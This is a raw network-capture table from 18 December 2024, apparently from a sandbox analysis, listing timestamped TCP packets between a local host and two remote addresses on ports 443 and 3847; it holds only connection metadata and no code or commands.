Dec 18, 2024 19:27:15.206917048 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.250339031 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.250505924 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.254971027 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.255084038 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.257746935 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.257859945 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.261291027 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.261473894 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.264667034 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.264774084 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.269078016 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.269217968 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.272613049 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.272768021 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.276041985 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.276186943 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.280427933 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.280577898 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.283847094 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.283931017 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.287861109 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.287942886 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.290081978 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.290155888 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.290189028 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.290287018 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.312127113 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:55.186460972 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:55.186507940 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:55.186610937 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:55.196877956 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:55.196908951 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:56.870826960 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:56.870915890 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:56.918697119 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:56.918723106 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:56.918960094 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:56.919151068 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:56.922818899 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:56.967339993 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:57.700129032 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:57.700195074 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:57.700217962 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:57.700238943 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:57.700273991 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:57.700404882 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:57.700424910 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:57.700470924 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:57.924932957 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:57.924962997 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:57.925084114 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:57.925084114 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:57.943459988 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:57.943624020 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:57.961992979 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:57.962057114 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:57.986598969 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:57.986759901 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.162868023 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.162961960 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.179395914 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.179527998 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.194771051 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.194848061 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.216049910 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.216152906 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.231714010 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.231802940 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.247750998 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.247843981 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.263737917 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.263823986 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.392076015 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.392242908 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.401287079 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.401407003 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.410778999 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.410976887 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.424345016 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.424458027 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.434489012 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.434653044 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.445039988 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.445453882 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.458807945 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.458911896 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.468419075 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.468549967 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.478708982 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.478780031 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.488900900 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.489286900 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.500818014 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.500911951 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.511389017 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.511535883 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.524662971 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.525003910 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.585952044 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.586086035 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.593962908 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.594115019 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.627899885 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.627969027 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.634382963 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.634450912 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.642643929 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.642729998 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.646069050 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.646145105 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.649710894 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.649766922 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.653172016 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.653251886 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.657603979 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.657711983 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.661303997 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.661406994 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.665035009 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.665150881 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.669986963 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.670118093 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.673317909 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.673435926 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.677803993 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.677915096 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.680681944 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.680742025 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.684195042 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.684349060 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.774509907 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.774626970 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.779242992 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.779336929 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.782850027 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.782963991 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.817277908 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.817399979 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.820847034 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.820990086 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.857794046 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.857894897 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.861277103 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.861368895 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.864547014 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.864938974 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.869107962 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.869267941 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.872560024 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.872664928 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.876255035 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.876319885 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.879568100 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.879668951 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.884098053 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.884213924 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.887536049 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.887603045 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.891169071 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.891328096 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.892147064 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.892204046 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.892208099 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.892308950 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.892308950 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.892308950 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:58.892318010 CET	443	49837	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:58.892426014 CET	49837	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:28:03.441850901 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:03.563127041 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:03.563232899 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:03.563494921 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:03.683947086 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:04.800973892 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:04.802148104 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:04.928209066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.204420090 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.217492104 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.337376118 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.683660984 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.683691978 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.683702946 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.683773994 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.683777094 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.683824062 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.683834076 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.683896065 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.683896065 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.683949947 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.683962107 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.683975935 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.684050083 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.692289114 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.692481041 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.695029974 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.695178032 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.695334911 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.803786039 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.875785112 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.875843048 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.875920057 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.879616022 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.879654884 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.879684925 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.885544062 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.885593891 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.885602951 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.893213034 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.893264055 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.893507957 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.901030064 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.901087046 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.901120901 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.908727884 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.908776999 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.908833027 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.916445017 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.916524887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.916568995 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.924873114 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.924922943 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.924979925 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.931756020 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.931830883 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.931864977 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.939676046 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.939726114 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.939881086 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.947338104 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.947384119 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.947434902 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:05.997792959 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.997809887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:05.997972012 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.000533104 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.067823887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.067869902 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.067883968 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.072086096 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.072112083 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.072140932 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.077853918 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.077960014 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.078011036 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.085489035 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.085541010 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.085592031 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.093290091 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.093346119 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.093378067 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.100883007 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.100919008 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.100964069 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.108700037 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.108740091 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.108781099 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.116209984 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.116257906 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.116316080 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.123893976 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.123944044 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.124048948 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.131578922 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.131618023 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.131660938 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.139272928 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.139331102 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.139349937 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.142944098 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.143004894 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.143064976 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.146668911 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.146739006 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.146764994 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.150363922 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.150418043 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.150433064 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.154026985 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.154072046 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.154110909 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.157815933 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.157871962 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.158021927 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.161469936 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.161524057 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.161581993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.165195942 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.165242910 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.165425062 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.168901920 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.168946028 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.169008017 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.172669888 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.172723055 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.172749996 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.189965010 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.190064907 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.190165043 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.191803932 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.191911936 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.191961050 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.195964098 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.195982933 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.196026087 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.259795904 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.259854078 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.260030985 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.261603117 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.261647940 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.262296915 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.262411118 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.262458086 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.266096115 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.266215086 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.266258955 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.269785881 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.269870996 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.269952059 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.273492098 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.273686886 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.273735046 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.277220964 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.277271032 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.277457952 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.280855894 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.281076908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.281126976 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.284557104 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.284703970 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.284748077 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.288305044 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.288388968 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.288803101 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.291909933 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.292009115 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.292129040 CET	49859	3847	192.168.2.6	87.120.127.215
